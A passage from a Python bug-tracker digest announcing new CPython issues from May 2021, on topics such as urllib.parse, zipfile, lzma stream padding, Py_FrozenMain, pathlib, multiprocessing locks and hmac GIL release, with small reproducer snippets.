title: Cross Compile Cython Modules
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44126>
_______________________________________

From report at bugs.python.org  Thu May 13 18:09:54 2021
From: report at bugs.python.org (Jamie Bliss)
Date: Thu, 13 May 2021 22:09:54 +0000
Subject: [New-bugs-announce] [issue44127]
 urllib.parse.ParseResult._replace() does not allow replacing username,
 password, hostname, port
Message-ID: <1620943794.26.0.337038741401.issue44127@roundup.psfhosted.org>


New submission from Jamie Bliss <jamie at ivyleav.es>:

As it says in the title. ._replace() (inherited from namedtuple) doesn't  allow changing the generated properties.

While this is a natural consequence of how ParseResult is implemented, I would describe it as a deficiency of developer experience.

My work-around function for this is https://gist.github.com/AstraLuma/00e511feb1f619f407d07e968d69f36b

----------
components: Library (Lib)
messages: 393614
nosy: AstraLuma
priority: normal
severity: normal
status: open
title: urllib.parse.ParseResult._replace() does not allow replacing username, password, hostname, port
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44127>
_______________________________________

From report at bugs.python.org  Fri May 14 00:13:13 2021
From: report at bugs.python.org (Daniel Hillier)
Date: Fri, 14 May 2021 04:13:13 +0000
Subject: [New-bugs-announce] [issue44128] zipfile: Deduplicate ZipExtFile
 code for init and resetting when seeking
Message-ID: <1620965593.28.0.249048216439.issue44128@roundup.psfhosted.org>


New submission from Daniel Hillier <daniel.hillier at gmail.com>:

Integrating a refactor suggested in https://bugs.python.org/issue38334

The logic for preparing a ZipExtFile for reading (setting CRC state, read positions, etc) is currently in two locations: first initialisation and when seeking back to the start of a file.

This change moves the logic into the method `ZipExtFile.init_read()`

----------
components: Library (Lib)
messages: 393619
nosy: dhillier, serhiy.storchaka
priority: normal
severity: normal
status: open
title: zipfile: Deduplicate ZipExtFile code for init and resetting when seeking
type: enhancement
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44128>
_______________________________________

From report at bugs.python.org  Fri May 14 00:53:27 2021
From: report at bugs.python.org (Daniel Hillier)
Date: Fri, 14 May 2021 04:53:27 +0000
Subject: [New-bugs-announce] [issue44129] zipfile: Add descriptive global
 variables for general purpose bit flags
Message-ID: <1620968007.4.0.439932400929.issue44129@roundup.psfhosted.org>


New submission from Daniel Hillier <daniel.hillier at gmail.com>:

In the zipfile module, masking of bit flags is done against hex numbers eg. if flags & 0x800...

To increase readability I suggest we replace these with global variables named for the purpose of the flag. From the example above:

if flags & 0x800
becomes:
if flags & _MASK_UTF_FILENAME

----------
components: Library (Lib)
messages: 393622
nosy: dhillier, serhiy.storchaka
priority: normal
severity: normal
status: open
title: zipfile: Add descriptive global variables for general purpose bit flags
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44129>
_______________________________________

From report at bugs.python.org  Fri May 14 08:03:46 2021
From: report at bugs.python.org (Shreyan Avigyan)
Date: Fri, 14 May 2021 12:03:46 +0000
Subject: [New-bugs-announce] [issue44130] GIL Improvement
Message-ID: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org>


New submission from Shreyan Avigyan <shreyan.avigyan at gmail.com>:

Today while working on an attempt to improve the GIL (either by modifying it or removing it) I noticed that in destroy_gil function first we unlock the mutex and then we set the gil->locked to -1 using _Py_atomic_store_explicit. Therefore the cycle is, "Unlock -> Atomic_Set_Value" which closely evaluates to, "Unlock -> Lock -> Set_Value -> Unlock"


I tweaked around a little and when I changed the cycle to, "Atomic_Set_Value -> Unlock" I noticed by running David Beazley's famous benchmarks that there's an increase in speed by 0.22 or something like that. I don't know if it's because of CPU instability or because of the tweak but it looks like an improvement. Should this patch be applied to cpython?

----------
components: C API
messages: 393642
nosy: shreyanavigyan
priority: normal
severity: normal
status: open
title: GIL Improvement
type: performance
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44130>
_______________________________________

From report at bugs.python.org  Fri May 14 08:12:49 2021
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 14 May 2021 12:12:49 +0000
Subject: [New-bugs-announce] [issue44131] [C API] Add tests on
 Py_FrozenMain()
Message-ID: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

I would like to change Py_FrozenMain() using the new PyConfig C API, but I would prefer to first write tests of its current behavior. Currently, Py_FrozenMain() has no test.

Py_FrozenMain() is used by Tools/freeze/freeze.py. Old freeze.py issues:

* bpo-42613: freeze.py doesn't support sys.platlibdir different than lib nor multiarch
* bpo-40954: freeze.py aborts on macOS
* bpo-32217: freeze.py fails to work.
* bpo-27727: Update Tools/freeze to use .vcxproj files 
* bpo-27566: Tools/freeze/winmakemakefile.py clean target should use 'del' instead of 'rm' 
* bpo-26271: freeze.py makefile uses the wrong flags variables
* bpo-25504: undefined name 'modules' in Tools/freeze/checkextensions_win32.py 
* bpo-24871: freeze.py doesn't work on x86_64 Linux out of the box
* bpo-23405: Tools/freeze "make" gets missing file error with unix shared builds 
* bpo-21502: freeze.py not working properly with OS X framework builds
* bpo-16047: Tools/freeze no longer works in Python 3
* bpo-11824: freeze.py broken due to ABI flags
* bpo-7517: freeze.py not ported to python3
* bpo-6078: freeze.py doesn't work 
* bpo-1985: Bug/Patch: Problem with xml/__init__.py when using freeze.py 
* bpo-588452: $DEBUG_PYTHON -O freeze.py broken 

I never used freeze.py, but since we get bug reports, it seems like it's used by users :-)

Note: freeze.py has no test neither.


Py_FrozenMain() has been modified recently in bpo-44113:

commit 7565586724692e2ad164d770af9675f7a261fe3a
Author: Dong-hee Na <donghee.na at python.org>
Date:   Thu May 13 10:19:46 2021 +0900

    bpo-44113: Update fromzenmain not to use Py_SetProgramName (GH-26085)

See also: [capi-sig] Py_FrozenMain and the stable ABI
https://mail.python.org/archives/list/capi-sig at python.org/thread/5QLI3NUP3OSGLCCIBAQOTX4GEJQBWJ6F/

See also: [Python-Dev] What's the story on Py_FrozenMain?
https://mail.python.org/pipermail/python-dev/2013-November/130280.html

----------
components: C API
messages: 393643
nosy: corona10, petr.viktorin, vstinner
priority: normal
severity: normal
status: open
title: [C API] Add tests on Py_FrozenMain()
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44131>
_______________________________________

From report at bugs.python.org  Fri May 14 11:39:20 2021
From: report at bugs.python.org (Oscar)
Date: Fri, 14 May 2021 15:39:20 +0000
Subject: [New-bugs-announce] [issue44132] Local import conflict with system
 import
Message-ID: <1621006760.95.0.599911995552.issue44132@roundup.psfhosted.org>


New submission from Oscar <Oscar.Trejo-Soria at digital.ai>:

Not sure if this is the right place to post this, but I stumble upon the following error.

I have the following directory structure

$ tree /F
Folder PATH listing
Volume serial number is C0000100 B8C8:3DC4
C:.
?   requirements.txt
?   run_repro.bat
?
????testdriver
    ?   jira_utils.py
    ?   main.py
    ?   __init__.py
    ?
    ????xml
            xml_base.py
            __init__.py

and I am getting the following error when I run 

(venv) > C:\depot\bitbucket\python_bug
$ python testdriver\main.py
Traceback (most recent call last):
  File "testdriver\main.py", line 1, in <module>
    from testdriver.jira_utils import JiraUtils
  File "C:\depot\bitbucket\python_bug\testdriver\jira_utils.py", line 1, in <module>
    from jira import JIRA, JIRAError
  File "C:\depot\bitbucket\python_bug\venv\lib\site-packages\jira\__init__.py", line 10, in <module>
    from jira.client import JIRA  # noqa: E402
  File "C:\depot\bitbucket\python_bug\venv\lib\site-packages\jira\client.py", line 29, in <module>
    from pkg_resources import parse_version
  File "C:\depot\bitbucket\python_bug\venv\lib\site-packages\pkg_resources\__init__.py", line 32, in <module>
    import plistlib
  File "C:\Python37\Lib\plistlib.py", line 65, in <module>
    from xml.parsers.expat import ParserCreate
ModuleNotFoundError: No module named 'xml.parsers'

but if I run 
(venv) otrejoso at OTREJOSO-TLALOC C:\depot\bitbucket\python_bug
$ python -c "from testdriver.jira_utils import JiraUtils"

(venv) otrejoso at OTREJOSO-TLALOC C:\depot\bitbucket\python_bug

There is no error.

I wonder if this is some kind of bug with importing packages or is it a way to fix this by importing differently?

I have attached a zip file that should be able to repro the issue. It is pretty simple since it just imports packages.
There is a run_repro.bat script to make things easier to repro

Steps of bat script:
set PYTHONPATH=.
python testdriver\main.py
python -c "from testdriver.jira_utils import JiraUtils"

Note: the zip contains the minimal files that showed the issue on bigger scale project that we have.

Thanks in advance.

----------
files: error.zip
messages: 393669
nosy: otrejoso
priority: normal
severity: normal
status: open
title: Local import conflict with system import
versions: Python 3.7
Added file: https://bugs.python.org/file50042/error.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44132>
_______________________________________

From report at bugs.python.org  Fri May 14 12:58:44 2021
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 14 May 2021 16:58:44 +0000
Subject: [New-bugs-announce] [issue44133] "Py_FrozenMain" symbol is not
 exported
Message-ID: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

When Python is built without --enable-shared, the "Py_FrozenMain" is not exported.

When Python is built with --enable-shared, the "Py_FrozenMain" is exported as expected.

I can reproduce the issue with attached reproduce.tar.gz example:

* build.sh exports "func1" symbol
* build_ar.sh doesn't export the "func1" symbol

The difference is that build.sh links directly two object files (.o) into a binary, whereas build_ar.sh creates a static library (.a) and then link the static library into a binary.

Python is always built with a static library (libpythonVERSION.a) which causes the issue.

A solution is to pass -Wl,--whole-archive option to the linker to export *all* symbols exported by all object files, and not only export symbols of the object files which are used.

I'm not sure why, but "Py_FrozenMain" is the *only* impacted symbol of the whole C API.

This issue was discovered by Petr Viktorin who works on the stable ABI:
https://mail.python.org/archives/list/capi-sig at python.org/thread/5QLI3NUP3OSGLCCIBAQOTX4GEJQBWJ6F/

----------
components: C API
files: reproduce.tar.gz
messages: 393675
nosy: vstinner
priority: normal
severity: normal
status: open
title: "Py_FrozenMain" symbol is not exported
versions: Python 3.11
Added file: https://bugs.python.org/file50043/reproduce.tar.gz

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44133>
_______________________________________

From report at bugs.python.org  Fri May 14 13:52:02 2021
From: report at bugs.python.org (rogdham)
Date: Fri, 14 May 2021 17:52:02 +0000
Subject: [New-bugs-announce] [issue44134] lzma: stream padding in xz files
Message-ID: <1621014722.86.0.839640060704.issue44134@roundup.psfhosted.org>


New submission from rogdham <contact at rogdham.net>:

Hello,

The lzma module does not works well with XZ stream padding. Depending on the case, it may work; or it may stops the stream prematurely without error; or an error may be raised; or no error may be raised when it must.


In the XZ file format, stream padding is a number of null bytes (multiple of 4) that can be between and after streams.

>From the specification (section 2.2):

> Only the decoders that support decoding of concatenated Streams MUST support Stream Padding.

Since the lzma module supports decoding of concatenated streams, it must support stream padding as well.



#### Examples to reproduce the issue:

1. example1.xz:
    - made of one stream followed by 4 null bytes:
        $ (echo 'Hi!' | xz; head -c 4 /dev/zero) > example1.xz
    - will raise an exception in both modes (FORMAT_AUTO and FORMAT_XZ)

>>> with lzma.open('/example1.xz', format=lzma.FORMAT_AUTO) as f:
...     f.read()
...
Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
  File "/usr/lib/python3.9/lzma.py", line 200, in read
    return self._buffer.read(size)
  File "/usr/lib/python3.9/_compression.py", line 99, in read
    raise EOFError("Compressed file ended before the "
EOFError: Compressed file ended before the end-of-stream marker was reached
>>> with lzma.open('/example1.xz', format=lzma.FORMAT_XZ) as f:
...     f.read()
...
Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
  File "/usr/lib/python3.9/lzma.py", line 200, in read
    return self._buffer.read(size)
  File "/usr/lib/python3.9/_compression.py", line 99, in read
    raise EOFError("Compressed file ended before the "
EOFError: Compressed file ended before the end-of-stream marker was reached


2. example2.xz:
    - made of two streams with 18 null bytes of stream padding between them
        $ (echo 'Hi!' | xz; head -c 18 /dev/zero; echo 'Second stream' | xz) > example2.xz
    - second stream will be ignored with FORMAT_XZ
    - the two streams will be decoded with FORMAT_AUTO, where it should raise an error (18 null bytes is not multiple of 4, so the stream padding is invalid according to the XZ specification and the decoder ?MUST indicate an error?)

>>> with lzma.open('/tmp/example2.xz', format=lzma.FORMAT_AUTO) as f:
...     f.read()
...
b'Hi!\nSecond stream\n'
>>> with lzma.open('/tmp/example2.xz', format=lzma.FORMAT_XZ) as f:
...     f.read()
...
b'Hi!\n'



#### Analysis

This issue comes from the relation between _lzma and _compression. In _lzma, the C library is called without the LZMA_CONCATENATED flag, which means that multiple streams and stream padding must be supported in Python.

In _compression, when a LZMADecompressor is done (.eof is True), an other one is created to decompress from that point. If the new one fails to decompress the remaining data, the LZMAError is ignored and we assume we reached the end.

So the behavior seen above can be explained as follows:
 - In FORMAT_AUTO, it seems that .eof is False while we haven't read 18 bytes
 - In FORMAT_AUTO, 18 null bytes will be decompressed as b'' with .eof being True afterwards
 - In FORMAT_XZ, it seems that .eof is False while we haven't read 12 bytes
 - In FORMAT_XZ, no stream padding is valid, so as soon as we have more than 12 bytes an LZMAError is raised



#### Possible solution

A possible solution would be to add a finish method on the decompressor interface, and support it appropriately in _compression when we reached EOF on the input. Then, in LZMADecompressor implementation, use the LZMA_CONCATENATED flag, and implement the finish method to call lzma_code with LZMA_FINISH as action.

I think this would be preferred than trying to solve the issue in Python, because if the format is FORMAT_AUTO we don't know if the format is XZ (and we should support stream padding) or not.

----------
components: Library (Lib)
files: example1.xz
messages: 393681
nosy: nadeem.vawda, rogdham
priority: normal
severity: normal
status: open
title: lzma: stream padding in xz files
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file50044/example1.xz

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44134>
_______________________________________

From report at bugs.python.org  Fri May 14 14:24:27 2021
From: report at bugs.python.org (=?utf-8?q?Jo=C3=A3o_Henrique_Pimentel?=)
Date: Fri, 14 May 2021 18:24:27 +0000
Subject: [New-bugs-announce] [issue44135] issubclass documentation doesn't
 explain tuple semantic
Message-ID: <1621016667.05.0.821636272564.issue44135@roundup.psfhosted.org>


New submission from Jo?o Henrique Pimentel <joaozinho at gmail.com>:

The second parameter (classinfo) of the issubclass built-in function can be a Tuple and, starting from 3.10, it can be a Union Type as well.

The documentation states that in these cases "every entry in classinfo will be checked", but it doesn't explain if the check is AND (all) or OR (any). In contrast, the documentation of isinstance is clear: "return True if object is an instance of *any* of the types".


Here's a possible rewriting that reduces the odds of incorrect interpretations, based on the text of isinstance:
ORIGINAL: "in which case every entry in classinfo will be checked"
PROPOSAL: "in which case return True if class is a subclass of any entry in classinfo"

----------
assignee: docs at python
components: Documentation
messages: 393684
nosy: docs at python, joaozinho
priority: normal
severity: normal
status: open
title: issubclass documentation doesn't explain tuple semantic
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44135>
_______________________________________

From report at bugs.python.org  Fri May 14 14:28:58 2021
From: report at bugs.python.org (Barney Gale)
Date: Fri, 14 May 2021 18:28:58 +0000
Subject: [New-bugs-announce] [issue44136] Remove pathlib flavours
Message-ID: <1621016938.4.0.46024543706.issue44136@roundup.psfhosted.org>


New submission from Barney Gale <barney.gale at gmail.com>:

Following bpo-39899, bpo-43757 and bpo-43012, `pathlib._Flavour` and its subclasses are looking a bit pointless.

The implementations of `is_reserved()` and `make_uri()` (~`as_uri()`) can be readily moved to into `PurePosixPath` and `PureWindowsPath`, which removes some indirection. This follows the pattern of OS-specific stuff in `PosixPath` and `WindowsPath`.

The remaining methods, such as `splitroot()`, can be pulled into `Pure*Path` with an underscore prefix.

I'm generally a believer in composition over inheritance, but in this case `_Flavour` seems too small and too similar to `PurePath` to separate out into 3 extra classes.

There should be no impact on public APIs or performance.

----------
components: Library (Lib)
messages: 393685
nosy: barneygale
priority: normal
severity: normal
status: open
title: Remove pathlib flavours
type: behavior
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44136>
_______________________________________

From report at bugs.python.org  Fri May 14 15:29:20 2021
From: report at bugs.python.org (Nils Kattenbeck)
Date: Fri, 14 May 2021 19:29:20 +0000
Subject: [New-bugs-announce] [issue44137] importlib.resources.path raises
 RuntimeError import FileNotFoundError is raise in context manager
Message-ID: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org>


New submission from Nils Kattenbeck <nilskemail at gmail.com>:

When a FileNotFoundError is raised inside while the importlib.resources.path context manager is active a RuntimeError is raised.
Looking at the (3.8) code it seems that FileNotFound exceptions are handled specially from all other exceptions which may lead to this behaviour. While the code in 3.9 changed significantly the same behaviour can be observed.

Files:
.
??? my_package
    ??? data.txt (empty)
    ??? __init__.py (empty)
    ??? test.py

Content of test.py:
import importlib.resources
def main():
    with importlib.resources.path('my_package', 'data.txt') as p:
        raise FileNotFoundError()
if __name__ == '__main__':
    main()

Exact error message:
RuntimeError: generator didn't stop after throw()

----------
components: Library (Lib)
messages: 393686
nosy: Nils Kattenbeck, brett.cannon, jaraco
priority: normal
severity: normal
status: open
title: importlib.resources.path raises RuntimeError import FileNotFoundError is raise in context manager
type: behavior
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44137>
_______________________________________

From report at bugs.python.org  Fri May 14 18:10:29 2021
From: report at bugs.python.org (Kushal Kumaran)
Date: Fri, 14 May 2021 22:10:29 +0000
Subject: [New-bugs-announce] [issue44138] multiprocessing documentation
 should note behavior when process with Lock dies
Message-ID: <1621030229.72.0.539650187678.issue44138@roundup.psfhosted.org>


New submission from Kushal Kumaran <Kushal.Kumaran at veritas.com>:

If a process holding a multiprocessing.Lock dies, other waiters on the lock will be stuck.  This is mostly the same as with threads, but threads-users can usually avoid this with careful coding (dealing with errors, etc.), and significant crashes will normally take down the entire process anyway.  With multiprocessing, a process with lock held could get SIGKILLed with no recourse.

A simple program demonstrating the problem:
```
import multiprocessing
import os
import signal

lk = multiprocessing.Lock()

def f():
    my_pid = os.getpid()
    print("PID {} going to wait".format(my_pid))
    with lk:
        print("PID {} got the lock".format(my_pid))
        os.kill(my_pid, signal.SIGKILL)

if __name__ == '__main__':
    for i in range(5):
        multiprocessing.Process(target=f).start()
```

Running this will have one of the processes acquiring the lock and dying; the other processes will wait forever.

The reason behind this behavior is obvious from the implementation that uses POSIX semaphores (I don't know how the win32 implementation behaves).

I don't think the behavior can be changed, since releasing the lock on process crash could leave other processes having to deal with unexpected state. A note in the documentation for the multiprocessing module is all I could think of. I don't see a way to use multiprocessing.Lock with safety against process crashes. If someone has a scenario where they can guarantee their data consistency in the face of process crash, they should use some alternative mechanism such as file-based locking.

----------
components: Library (Lib)
messages: 393695
nosy: kushal-kumaran
priority: normal
severity: normal
status: open
title: multiprocessing documentation should note behavior when process with Lock dies
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44138>
_______________________________________

From report at bugs.python.org  Fri May 14 23:57:18 2021
From: report at bugs.python.org (Michael Cuthbert)
Date: Sat, 15 May 2021 03:57:18 +0000
Subject: [New-bugs-announce] [issue44139] Unparenthesized tuple doc bug in
 what's new
Message-ID: <1621051038.69.0.299578563029.issue44139@roundup.psfhosted.org>


New submission from Michael Cuthbert <cuthbert at mit.edu>:

The What's New in Python 3.10 docs demonstrates a richer SyntaxError for this set comprehension:

>>> {x,y for x,y in range(100)}
  File "<stdin>", line 1
    {x,y for x,y in range(100)}
     ^
SyntaxError: did you forget parentheses around the comprehension target?


The problem (at least for beginners) is that there are two errors in the line.  Parenthesizing the comprehension target gets "TypeError: cannot unpack non-iterable int object" since "x,y in range(...)" does not work.  I think it would be better to illustrate with code that works if not for the missing parentheses.  Something like this:

>>> {x,y for x,y in zip('abcd', 'efgh')}
  File "<stdin>", line 1
    {x,y for x,y in zip('abcd', 'efgh')}
     ^
SyntaxError: did you forget parentheses around the comprehension target?

Thanks for the great work on making error messages better! This prof. who often has to help students with Python errors heartily approves!

----------
assignee: docs at python
components: Documentation
messages: 393704
nosy: docs at python, mscuthbert
priority: normal
severity: normal
status: open
title: Unparenthesized tuple doc bug in what's new
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44139>
_______________________________________

From report at bugs.python.org  Sat May 15 04:42:51 2021
From: report at bugs.python.org (conchylicultor)
Date: Sat, 15 May 2021 08:42:51 +0000
Subject: [New-bugs-announce] [issue44140] WeakKeyDictionary should support
 lookup by id instead of hash
Message-ID: <1621068171.99.0.542983196926.issue44140@roundup.psfhosted.org>


New submission from conchylicultor <etiennefg.pot at gmail.com>:

WeakKeyDictionary are great to "associate additional data with an object owned by other parts of an application", as quoted from the doc: https://docs.python.org/3/library/weakref.html#weakref.WeakKeyDictionary

However, this currently only works for hashable types. Non-hashables are not supported:

```
@dataclass
class A:
  pass

a = A()

d = weakref.WeakKeyDictionary()
d[a] = 3  # TypeError: unhashable type: 'A'
```

With regular dict, this could be easilly solved by using `d[id(a)] = 3`, but WeakKeyDictionary don't accept `int` of course. I cannot wrap the object either as the weakref would not be attached to the original object, but the wrapper.

It would be great to be able to force WeakKeyDictionary to perform lookup on `id` internally. Like `d = WeakKeyDictionary(use_id_lookup=True)`

----------
components: Library (Lib)
messages: 393707
nosy: conchylicultor
priority: normal
severity: normal
status: open
title: WeakKeyDictionary should support lookup by id instead of hash
type: enhancement
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44140>
_______________________________________

From report at bugs.python.org  Sat May 15 06:39:03 2021
From: report at bugs.python.org (Tarnum)
Date: Sat, 15 May 2021 10:39:03 +0000
Subject: [New-bugs-announce] [issue44141] Getting error while importing ssl
 "import _ssl ImportError: DLL load failed: The specified procedure could
 not be found."
Message-ID: <1621075143.47.0.586149387116.issue44141@roundup.psfhosted.org>


New submission from Tarnum <tarnum at fipi.org>:

Hello! I'm using specifically crafted Python 3.7.1 for NT 5.2 x86 (Server 2003 R2) and cannot upgrade Python to later versions.
I always building OpenSSL myself using compatible version of MSYS2 with perl 5.22.
Compiled DLLs of OpenSSL 1.1.1k works fine for me (libcrypto-1_1.dll and libssl-1_1.dll in C:\Python37\DLLs\).
But when I try building OpenSSL 3.0.0 alpha 16 (repacing libcrypto-3.dll with libcrypto-1_1.dll and libssl-3.dll with libssl-1_1.dll in
Makefile and util\mkdef.pl) I got this error because of OpenSSL 3.0 backwards incompatibility:

import ssl
File "C:\Python37\lib\ssl.py", line 98, in <module>
import _ssl (C:\Python37\DLLs\_ssl.pyd) # if we can't import it, let the error propagate
ImportError: DLL load failed: The specified procedure could not be found.

What could I do to fix it? Thanks in advance!

----------
assignee: christian.heimes
components: SSL, Windows
messages: 393711
nosy: Tarnum, christian.heimes, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Getting error while importing ssl "import _ssl ImportError: DLL load failed: The specified procedure could not be found."
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44141>
_______________________________________

From report at bugs.python.org  Sat May 15 09:29:46 2021
From: report at bugs.python.org (Batuhan Taskaya)
Date: Sat, 15 May 2021 13:29:46 +0000
Subject: [New-bugs-announce] [issue44142] ast.unparse: visually better code
 generation
Message-ID: <1621085386.98.0.631480051467.issue44142@roundup.psfhosted.org>


New submission from Batuhan Taskaya <isidentical at gmail.com>:

This issue is for tracking possible places where we could generate better code on ast.unparse (better as in more closely to what people are actually writing than our naive implementation). 

Examples;
>>> import ast
>>> ast.unparse(ast.parse('a, b, c = [1,2,3]'))
'(a, b, c) = [1, 2, 3]'

could be
>>> ast.unparse(ast.parse('a, b, c = [1,2,3]'))
'a, b, c = [1, 2, 3]'

OR
>>> print(ast.unparse(ast.parse('if value := d.get("something"): print(value)')))
if (value := d.get('something')):
    print(value)

could be
>>> print(ast.unparse(ast.parse('if value := d.get("something"): print(value)')))
if value := d.get('something'):
    print(value)

We could even go further with the long line unpacking (which would definitely require some sort of clever algorithm for nested structures). 

>>> source = '[\n' + '\tsomething,\n' * 20 + ']'
>>> print(source)
[
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
        something,
]
>>> print(ast.unparse(ast.parse(source)))
[something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something]

----------
assignee: BTaskaya
components: Library (Lib)
messages: 393714
nosy: BTaskaya, pablogsal
priority: normal
severity: normal
status: open
title: ast.unparse: visually better code generation
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44142>
_______________________________________

From report at bugs.python.org  Sat May 15 12:30:11 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sat, 15 May 2021 16:30:11 +0000
Subject: [New-bugs-announce] [issue44143] The parse crashes when raising
 tokenizer errors when an existing exception is set
Message-ID: <1621096211.06.0.0593507223604.issue44143@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

The parser currently crashes when raising exceptions when the error indicator set. Reproducer:

import ast
source = """\
[interesting
foo()
"""
print(repr(source))
compile(source, "", "exec")

We need to make sure to clean any existing exception before we raise or own.

----------
messages: 393716
nosy: BTaskaya, pablogsal
priority: normal
severity: normal
status: open
title: The parse crashes when raising tokenizer errors when an existing exception is set

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44143>
_______________________________________

From report at bugs.python.org  Sat May 15 15:07:06 2021
From: report at bugs.python.org (Chinmay Malvania)
Date: Sat, 15 May 2021 19:07:06 +0000
Subject: [New-bugs-announce] [issue44144] Python window not opening
Message-ID: <1621105626.13.0.193498807552.issue44144@roundup.psfhosted.org>


New submission from Chinmay Malvania <chinmay.malvania at gmail.com>:

Python shell's window not opening and even if it is, it glitches.

----------
components: Unicode
messages: 393723
nosy: chinmay.malvania, ezio.melotti, vstinner
priority: normal
severity: normal
status: open
title: Python window not opening
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44144>
_______________________________________

From report at bugs.python.org  Sun May 16 02:54:04 2021
From: report at bugs.python.org (Gregory P. Smith)
Date: Sun, 16 May 2021 06:54:04 +0000
Subject: [New-bugs-announce] [issue44145] hmac.update is not releasing the
 GIL when openssl's hmac is used
Message-ID: <1621148044.4.0.215662666673.issue44145@roundup.psfhosted.org>


New submission from Gregory P. Smith <greg at krypto.org>:

This prevents parallel hmac computations.

see michaelforney's comment left on https://github.com/python/cpython/pull/20129
where the problem was introduced when adding support for using OpenSSL's HMAC implementations.

easy fix.  PR coming.

We don't really have a way to unittest for regressions on things like this.

----------
assignee: gregory.p.smith
components: Extension Modules
keywords: 3.9regression
messages: 393733
nosy: christian.heimes, gregory.p.smith
priority: normal
severity: normal
stage: needs patch
status: open
title: hmac.update is not releasing the GIL when openssl's hmac is used
type: performance
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44145>
_______________________________________

From report at bugs.python.org  Sun May 16 05:32:23 2021
From: report at bugs.python.org (svs)
Date: Sun, 16 May 2021 09:32:23 +0000
Subject: [New-bugs-announce] [issue44146] Format string fill not handling
 brace char
Message-ID: <1621157543.56.0.155922835812.issue44146@roundup.psfhosted.org>


New submission from svs <snegavs at outlook.com>:

Format strings and f-strings don't seem to handle brace characters as a fill character.

E.g.

'{::>10d'.format(5) => ':::::::::5"  (as expected)

'{:{>10d'.format(5) => error. Expect: '{{{{{{{{{5"

trying {{ escape does not work either.
'{:{{>10d'.format(5) => error.

The same goes for '}'. f-strings have a similar issue.

----------
components: Interpreter Core
messages: 393735
nosy: snegavs
priority: normal
severity: normal
status: open
title: Format string fill not handling brace char
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44146>
_______________________________________

From report at bugs.python.org  Sun May 16 07:15:00 2021
From: report at bugs.python.org (Bassel)
Date: Sun, 16 May 2021 11:15:00 +0000
Subject: [New-bugs-announce] [issue44147] [WinError 193] %1 is not a valid
 Win32 application
Message-ID: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org>


New submission from Bassel <bassel_sabour at yopmail.com>:

I'm trying to import these libraries in python using this code:

import matplotlib as plt
from matplotlib import style
import pandas as pd
import pandas_datareader.data as web
I get unresolved import for each line. I installed them using the terminal of Visual Studio using the following commands

pip install matplotlib
pip install pandas
pip install numpy
pip install sklearn
pip install pandas-datareader
pip install beautifulsoup4
What should I do to solve this problem? Please consider that I'm kind of a beginner so make your answer detailed. Thanks!

----------
components: Windows
messages: 393739
nosy: bassel27, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: [WinError 193] %1 is not a valid Win32 application
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44147>
_______________________________________

From report at bugs.python.org  Sun May 16 11:34:49 2021
From: report at bugs.python.org (Shreyan Avigyan)
Date: Sun, 16 May 2021 15:34:49 +0000
Subject: [New-bugs-announce] [issue44148] Raise a RuntimeError if frame is
 NULL in PyEval_GetGlobals
Message-ID: <1621179289.64.0.106225971367.issue44148@roundup.psfhosted.org>


New submission from Shreyan Avigyan <shreyan.avigyan at gmail.com>:

